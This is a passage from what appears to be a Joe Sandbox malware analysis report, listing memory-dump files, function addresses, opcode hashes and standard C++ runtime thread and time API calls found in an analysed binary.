Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID: c13L
API String ID: 32384418-2793365725
Opcode ID: 5e8de039224b57483f75babc7716f28952e4bd9056623766967e0a5685436b20
Instruction ID: de4089cf581e5e79145c0f9cd60ce5ae1405010e3e8a5f1953a7e9882e6d18f5
Opcode Fuzzy Hash: 5e8de039224b57483f75babc7716f28952e4bd9056623766967e0a5685436b20
Instruction Fuzzy Hash: 99A1D1B0A21206DFDB20DF74C844B9AB7B8FF15310F148169E819D7681EB31EA68CBD1

Function 0027BB72 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0027BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0027BBE4
_xtime_get.LIBCPMT ref: 0027BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0027BC13

Strings

c13L, xrefs: 0027BB78

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246800494.00000000004DE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246817975.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID: c13L
API String ID: 531285432-2793365725
Opcode ID: 457e2736b55219dce51ba9c9c5fea4ce4a59201b47cda963f8a0f47458c0bf4d
Instruction ID: ce01dd7c2ccb0c5ca3eb3084e8809487f45db4fb1b39e7d421a1f5449e355e02
Opcode Fuzzy Hash: 457e2736b55219dce51ba9c9c5fea4ce4a59201b47cda963f8a0f47458c0bf4d
Instruction Fuzzy Hash: 85211D71A10119AFDF01EFA4DC859BEB7B9EF48710F20801AFA05B7251DB709D519BA1

Function 00263AC0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 165COMMON

Download Yara Rule

APIs

__Mtx_destroy_in_situ.LIBCPMT ref: 00263B93
__Cnd_destroy_in_situ.LIBCPMT ref: 00263B99
__Mtx_destroy_in_situ.LIBCPMT ref: 00263BA2

Strings

c13L, xrefs: 00263AD5, 00263C07

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246800494.00000000004DE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246817975.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Mtx_destroy_in_situ$Cnd_destroy_in_situ
String ID: c13L
API String ID: 3308344742-2793365725
Opcode ID: bc17cb825f0d02b7484cbfb6f066981d67fe6bf58c3eb36668729f9a9596e4d4
Instruction ID: 232fda086428efd4a9fd24e4870a79135470c8202dc7fb9dfaa89713d1f51149
Opcode Fuzzy Hash: bc17cb825f0d02b7484cbfb6f066981d67fe6bf58c3eb36668729f9a9596e4d4
Instruction Fuzzy Hash: 3351F371A10B05DFDB24DF28C884B6AB7E4EF05724F148A6EE41AC7790DB34AE50CB90

Function 0027C452 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 144COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0027C4F8
__Xtime_diff_to_millis2.LIBCPMT ref: 0027C542
_xtime_get.LIBCPMT ref: 0027C561

Strings

c13L, xrefs: 0027C458

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246800494.00000000004DE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246817975.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: _xtime_get$Xtime_diff_to_millis2
String ID: c13L
API String ID: 2858396081-2793365725
Opcode ID: e4681eee8524e2931665910d1af934c585755f9fd3872001b07259e2d2e24bcb
Instruction ID: 61121edc8f2da66779150328779c7eb360d8aada269d33575c92fa45542bf371
Opcode Fuzzy Hash: e4681eee8524e2931665910d1af934c585755f9fd3872001b07259e2d2e24bcb
Instruction Fuzzy Hash: 70516971A20216CBCF20DF34C5D59AA77A4EF04710B74C55EE80AAB255DB31FD50CBA5

Function 002632D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 142COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00263344
__Cnd_broadcast.LIBCPMT ref: 002633CB
__Mtx_unlock.LIBCPMT ref: 002633DF

Strings

c13L, xrefs: 002632E4, 00263393

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246687981.00000000004B9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246700751.00000000004C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246717295.00000000004CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246740921.00000000004D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246758025.00000000004D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246777646.00000000004D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246800494.00000000004DE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246817975.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246830145.00000000004E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246844988.00000000004E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246856860.00000000004EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246868633.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246879270.00000000004F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246889724.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246904342.00000000004F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247007513.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247050358.0000000000512000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2247336648.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248037647.000000000051D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248131120.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249336954.0000000000569000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249401509.000000000056A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249671405.000000000056F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250058723.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250098533.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250134047.0000000000580000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID: c13L
API String ID: 32384418-2793365725
Opcode ID: 6c303b55c9986fa3d1aca1ac45b629cb296ec440225753f18e8e6f68b45c006b
Instruction ID: c0f48c61e242c5bbd64dcf8d68a6d22157e0603e1453f708398a4cbf38b9c476
Opcode Fuzzy Hash: 6c303b55c9986fa3d1aca1ac45b629cb296ec440225753f18e8e6f68b45c006b
Instruction Fuzzy Hash: B3415771E14604EBDB20DF699D05B9BF7ECEF55720F10816EE809A3741EB709A24CAE1

Function 002771D0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 236COMMON

Download Yara Rule

APIs

__Mtx_init_in_situ.LIBCPMT ref: 002773FC

Strings

c13L, xrefs: 002771E4
0{', xrefs: 002772B3

Memory Dump Source

Source File: 00000000.00000002.2246085921.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.2246049309.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246085921.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246156943.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246171958.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246187307.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246280736.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246296195.0000000000433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246315142.000000000044C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246329526.000000000044E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.000000000044F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246342884.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246375725.000000000045D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246391924.000000000045E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246407529.0000000000461000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246420883.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246435523.000000000046B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246450285.0000000000472000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246467590.0000000000484000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246481169.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246496664.0000000000486000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246521083.0000000000487000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246574589.0000000000493000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246670011.000000000049D000.00000040.00000001.01000000.00000003.sdmpDownload File
